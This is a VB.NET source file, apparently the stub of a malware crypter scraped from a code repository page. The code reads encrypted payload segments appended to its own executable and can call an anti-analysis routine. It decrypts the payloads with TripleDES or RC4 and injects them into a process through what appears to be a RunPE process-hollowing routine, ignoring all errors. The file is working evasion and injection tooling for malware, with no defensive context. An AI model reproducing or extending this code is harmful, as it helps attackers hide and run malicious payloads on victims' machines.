102 lines
3.3 KiB
VB.net
102 lines
3.3 KiB
VB.net
Imports System.Windows.Forms
|
|||
|
|
Imports System.Text
|
||
|
|
|
||
|
|
Module Mymod
|
||
|
|
Dim res As String
|
||
|
|
|
||
|
|
Public Function ReplacedrandomNumber(ByVal min As Integer, ByVal max As Integer) As Integer
|
||
|
|
Dim Replacedrandom As New Random()
|
||
|
|
Return Replacedrandom.Next(min, max)
|
||
|
|
End Function
|
||
|
|
|
||
|
|
Public Function ReplacedrandomString(ByVal size As Integer, ByVal lowerCase As Boolean) As String
|
||
|
|
Dim Replacedbuilder As New StringBuilder()
|
||
|
|
Dim Replacedrandom As New Random()
|
||
|
|
Dim ch As Char
|
||
|
|
Dim i As Integer
|
||
|
|
For i = 0 To size - 1
|
||
|
|
ch = Convert.ToChar(Convert.ToInt32((26 * Replacedrandom.NextDouble() + 65)))
|
||
|
|
Replacedbuilder.Append(ch)
|
||
|
|
Next i
|
||
|
|
If lowerCase Then
|
||
|
|
Return Replacedbuilder.ToString().ToLower()
|
||
|
|
End If
|
||
|
|
Return Replacedbuilder.ToString()
|
||
|
|
End Function
|
||
|
|
|
||
|
|
Public Function GetReplacedrandom() As String
|
||
|
|
Dim Replacedbuilder As New StringBuilder()
|
||
|
|
Replacedbuilder.Append(ReplacedrandomString(4, True))
|
||
|
|
Replacedbuilder.Append(ReplacedrandomNumber(1000, 9999))
|
||
|
|
Replacedbuilder.Append(ReplacedrandomString(2, False))
|
||
|
|
Return Replacedbuilder.ToString()
|
||
|
|
End Function
|
||
|
|
|
||
|
|
Sub Main()
|
||
|
|
Dim Cuttkey As String = "/Assembly/"
|
||
|
|
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
|
||
|
|
res = Space(LOF(1))
|
||
|
|
FileGet(1, res)
|
||
|
|
FileClose(1)
|
||
|
|
|
||
|
|
Dim Cutter() As String
|
||
|
|
Cutter = Split(res, Cuttkey)
|
||
|
|
|
||
|
|
Dim key As String = Cutter(2)
|
||
|
|
Dim entype As String = Cutter(3)
|
||
|
|
Dim antyw As String = Cutter(4)
|
||
|
|
Dim processZ As String = Cutter(5)
|
||
|
|
Dim mlt As String = Cutter(8)
|
||
|
|
If processZ = "own" Then
|
||
|
|
processZ = Process.GetCurrentProcess().MainModule.FileName
|
||
|
|
End If
|
||
|
|
|
||
|
|
If antyw = "true" Then
|
||
|
|
ant.mofo()
|
||
|
|
End If
|
||
|
|
|
||
|
|
If Cutter(6) = "yes" Then
|
||
|
|
If entype = "tripleDES" Then
|
||
|
|
Dim Str As String = _3des.a(Cutter(7), key, True)
|
||
|
|
Dim ByteArray() As Byte
|
||
|
|
ByteArray = Encoding.Default.GetBytes(Str)
|
||
|
|
Try
|
||
|
|
rp.MakeIt(ByteArray, processZ)
|
||
|
|
Catch ex As Exception
|
||
|
|
|
||
|
|
End Try
|
||
|
|
ElseIf entype = "rc4" Then
|
||
|
|
Dim Str As String = _4cr.enc(Cutter(7), key)
|
||
|
|
Dim ByteArray() As Byte
|
||
|
|
ByteArray = Encoding.Default.GetBytes(Str)
|
||
|
|
Try
|
||
|
|
rp.MakeIt(ByteArray, processZ)
|
||
|
|
Catch ex As Exception
|
||
|
|
|
||
|
|
End Try
|
||
|
|
End If
|
||
|
|
End If
|
||
|
|
|
||
|
|
If entype = "tripleDES" Then
|
||
|
|
Dim Str As String = _3des.a(Cutter(1), key, True)
|
||
|
|
Dim ByteArray() As Byte
|
||
|
|
ByteArray = Encoding.Default.GetBytes(Str)
|
||
|
|
Try
|
||
|
|
rp.MakeIt(ByteArray, processZ)
|
||
|
|
Catch ex As Exception
|
||
|
|
|
||
|
|
End Try
|
||
|
|
ElseIf entype = "rc4" Then
|
||
|
|
Dim Str As String = _4cr.enc(Cutter(1), key)
|
||
|
|
Dim ByteArray() As Byte
|
||
|
|
ByteArray = Encoding.Default.GetBytes(Str)
|
||
|
|
Try
|
||
|
|
rp.MakeIt(ByteArray, processZ)
|
||
|
|
Catch ex As Exception
|
||
|
|
|
||
|
|
End Try
|
||
|
|
End If
|
||
|
|
End
|
||
|
|
End Sub
|
||
|
|
End Module
|